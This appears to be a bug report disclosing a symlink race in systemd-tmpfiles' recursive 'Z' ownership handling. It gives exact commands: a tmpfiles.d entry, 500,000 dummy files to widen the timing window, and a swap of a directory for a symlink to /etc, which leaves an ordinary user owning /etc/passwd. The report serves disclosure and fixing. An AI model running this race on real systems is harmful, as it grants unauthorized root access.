Description
Sorry to keep harassing you with these. I think open() is following symlinks that don't appear as the last path component. In other words, if we are at the point where tmpfiles is about to open(/var/lib/systemd-exploit-recursive/foo/passwd,...), then I can replace the "foo" component with a symlink to /etc, resulting in open(/etc/passwd,...) and a fairly easy root exploit for any Z type.
Same disclaimer: I'm running tmpfiles from a git checkout, but not booting systemd. Now I have fs.protected_hardlinks=1 and fs.protected_symlinks=1. I'm using the same tmpfiles.d entry as before,
$ cat /etc/tmpfiles.d/exploit-recursive.conf
d /var/lib/systemd-exploit-recursive 0755 mjo mjo
Z /var/lib/systemd-exploit-recursive 0755 mjo mjo
I start the service once, so that /var/lib/systemd-exploit-recursive exists:
$ sudo ./build/systemd-tmpfiles --create
Now, as the owner (mjo) of /var/lib/systemd-exploit-recursive, I can do, in another terminal,
$ cd /var/lib/systemd-exploit-recursive
$ mkdir foo
$ cd foo
$ echo $(seq 1 500000) | xargs touch
$ touch passwd
$ cd ..
The 500,000 dummy files buy some time to swap in the symlink before the loop gets to passwd. Now, restart the service back in the first terminal...
$ sudo ./build/systemd-tmpfiles --create
And while that is busy looping on the 500,000 dummy files, swap out foo with a symlink in the second terminal:
$ mv foo bar && ln -s /etc ./foo
(I've used "mv" because "rm" is ironically slow at deleting my own dummy files.)
The end result is that I wind up as the owner of /etc/passwd, and the fs.protected_symlinks sysctl doesn't protect against this.